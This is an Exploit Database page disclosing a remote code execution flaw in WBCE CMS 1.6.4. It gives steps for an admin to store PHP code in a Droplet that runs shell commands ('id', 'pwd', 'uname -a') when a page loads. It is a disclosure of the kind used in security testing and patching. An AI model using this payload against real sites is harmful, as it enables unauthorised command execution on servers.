EXPLOIT DATABASE
EXPLOITS
GHDB
PAPERS
SHELLCODES
SEARCH EDB
SEARCHSPLOIT MANUAL
SUBMISSIONS
ONLINE TRAINING
WBCE CMS 1.6.4 - Remote Code Execution
EDB-ID:
52489
CVE:
N/A
EDB Verified:
Author:
RED
Type:
WEBAPPS
Exploit: /
Platform:
MULTIPLE
Date:
2026-04-06
Vulnerable App:
# Exploit Title: WBCE CMS 1.6.4 - Remote Code Execution
# Date: 2024-10-26
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://wbce.org/
# Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/v1.6.4
# Version: 1.6.4
# Tested on: Linux (Debian/Parrot OS)
## Vulnerability Description
WBCE CMS version 1.6.4 contains a critical remote code execution
vulnerability in the Droplets module. Authenticated attackers with
administrator privileges can inject and execute arbitrary PHP code, leading
to complete system compromise.
## Proof of Concept
1. Log in to the WBCE admin panel with administrator credentials
2. Navigate to "Admin-Tools" in the sidebar menu
3. Click on "Droplets" to access the droplet management interface
4. Click "Add droplet" to create a new droplet
5. Enter a random name for the droplet and insert the following malicious
code in the code area:
echo "<h3>System Information PoC</h3>";
echo "<pre>";
if(function_exists('shell_exec')) {
echo "1. Current User: " . shell_exec('id');
echo "2. Working Directory: " . shell_exec('pwd');
echo "3. System Info: " . shell_exec('uname -a');
echo "4. PHP Version: " . phpversion();
} else {
echo "shell_exec disabled - but eval() still works!";
echo "Current User (via PHP): " . get_current_user();
echo "System: " . PHP_OS;
}
echo "</pre>";
6. Click "Save & Back" to store the droplet
7. Copy the droplet code name (e.g., `[[test]]`) from the droplets list.
You can find this under the description column by clicking the info icon.
8. Edit or create any page and insert the droplet code name within double
brackets
9. View the page to observe the command execution output, confirming remote
code execution
Copy
Tags:
Advisory/Source: Link
Databases Links Sites Solutions
Exploits Search Exploit-DB OffSec Courses and Certifications
Google Hacking Submit Entry Kali Linux Learn Subscriptions
Papers SearchSploit Manual VulnHub OffSec Cyber Range
Shellcodes Exploit Statistics Proving Grounds
Penetration Testing Services